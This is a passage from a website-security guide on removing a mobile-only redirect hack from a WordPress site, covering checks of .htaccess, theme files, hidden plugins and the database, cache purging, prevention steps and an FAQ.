    3. Edit the file and look for suspicious code blocks mentioning HTTP_USER_AGENT, android, iphone, or redirect.

    4. The Fix: If you see strange code outside of the standard # BEGIN WordPress tags, delete it. A clean, standard WordPress .htaccess file looks like this:

    Apache
    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress
    

    2. Inspect header.php and footer.php

    If the redirect is JavaScript-based, it is likely injected into your theme’s header or footer files.

    1. Navigate to /wp-content/themes/your-current-theme/.

    2. Open header.php.

    3. Look for <script> tags that look like random jumbles of letters and numbers (obfuscated code) or reference external domains (e.g., jquery-min.com or other lookalikes).

    4. The Fix: Remove the suspicious script lines.

    3. Check for “Ghost” Plugins

    Sometimes hackers install a plugin that doesn’t show up in your WordPress Dashboard.

    1. Using your File Manager/FTP, go to /wp-content/plugins/.

    2. Sort the folders by “Last Modified”.

    3. Look for any plugin folder modified recently that you did not update yourself.

    4. Look for generic names like cms-core, wp-security-patch, or plugin-update.

    5. The Fix: Delete the suspicious folder entirely.

    4. Scan the Database for JavaScript Injection

    Sometimes the redirect code is injected directly into your database posts or widgets.

    1. Install a plugin called “Better Search Replace”.

    2. Search for common malicious snippets like base64_decode, eval(, or specific spam URLs if you know them.

    3. Note: Be extremely careful editing the database. If you aren’t sure, skip this step or hire a professional.

    5. Clear Caches (Crucial Final Step)

    After removing the code, the redirect might still happen because your caching plugin or CDN (like Cloudflare) has saved the “hacked” version of the page.

    1. Purge All Caches in your caching plugin (WP Rocket, W3 Total Cache, etc.).

    2. Clear Cloudflare Cache if you use it.

    3. Test on a Private Tab: Open an Incognito/Private window on your phone (using 4G, not WiFi) to test if the redirect is gone.


    How to Prevent Reinfection

    Cleaning the hack is only half the battle. If you don’t plug the hole, they will get back in.

    • Update Everything: Ensure WordPress core, themes, and plugins are on the latest versions.

    • Change Passwords: Reset your WP Admin, Database, and FTP passwords immediately.

    • Install a Firewall: Use a security plugin like Wordfence or Sucuri to block future attacks.


    Frequently Asked Questions (FAQ)

    Q: Why does the redirect only happen on my phone?

    A: Hackers use “User-Agent Sniffing” to hide the malware from site owners (who use desktops) and desktop-based malware scanners.

    Q: Can I fix this without coding knowledge?

    A: You can try installing the Wordfence or MalCare plugin to scan and auto-clean the files. However, deep redirects in the database sometimes require manual removal.

    Q: Will this hurt my SEO?

    A: Yes. If Google detects the mobile redirect, they will blacklist your site or display a “This site may be hacked” warning. You must fix it immediately to preserve your rankings.